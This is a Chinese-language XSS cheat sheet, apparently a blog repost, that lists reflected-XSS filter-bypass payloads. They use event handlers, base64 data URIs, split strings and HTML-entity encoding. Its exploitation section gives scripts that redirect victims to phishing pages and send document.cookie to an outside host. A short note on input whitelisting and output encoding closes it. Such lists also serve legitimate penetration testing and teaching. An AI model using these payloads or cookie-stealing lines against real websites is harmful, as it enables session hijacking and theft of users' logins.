XSS漏洞理解

反射型XSS漏洞挖掘思路:

1、客户端提交的内容,服务器未进行处理,原封不动的返回客户端。

2、挖掘XSS漏洞必须找到服务器的输出位置。

反射型XSS Poc:

alert()函数过滤:

<script>alert('xss')</script>  弹窗函数

<script>confirm('xss')</script> 

<script>prompt('xss')</script> 

<script>标签过滤:

<a  href="onclick=alert('xss')"> click</a>

<img src="http://1.1.1.1/a.jpg onerror=alert('xss')"></img>

<iframe onload=alert('xss')>

base64加密

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>

setTimeout

<svg/onload=setTimeout('ale'+'rt(1)',0)>

过滤双引号

<input onfocus=alert(1) autofocus>

<select onfocus=alert(1) autofocus>

chrome

<img src ?itworksonchrome?/onerror = alert(1)>

data形式

<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></object>

<embed src=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg></embed>

<script src=data:%26comma;alert(1)></script>

ontoggle

<details open ontoggle="&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#24050;&#26159;&#40644;&#26127;&#29420;&#33258;&#24833;&#65292;&#19968;&#26525;&#32418;&#26447;&#20986;&#22681;&#26469;&#39;&#41;">

frame

<frame src="javascript:alert(1)">
<frame src="javascript:%20%0aalert%20%0d %09(1)">
<iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;" />

other

<audio src
<video src

url加密绕圆括号

<svg onload='JavascRipT:alert%281%29'>
<svg/onload ="location='jav'+'ascript'+':%2'+'0aler'+'t%20%2'+'81%'+'29'">

 XSS漏洞利用方式:

<script>window.location="http://www.baidu.com"</script>   重定向钓鱼

<script>window.location="http://1.1.1.1/cookie.php?cookie="+document.cookie;</script>  接受客户端cookie

<script>new Image().src="http://1.1.1.1/c.php?output="+document.cookie; </script> 

存储型、反射型、DOM三种区别:

 

XSS漏洞修复方案:

1、输入过滤:采取白名单方法

2、输出过滤:服务器端采用输出过滤,输出在html中采用htmlspecialchar()编码,输出在js中进行转义

特殊字符编码:

原文地址:https://www.cnblogs.com/seeker01/p/7921186.html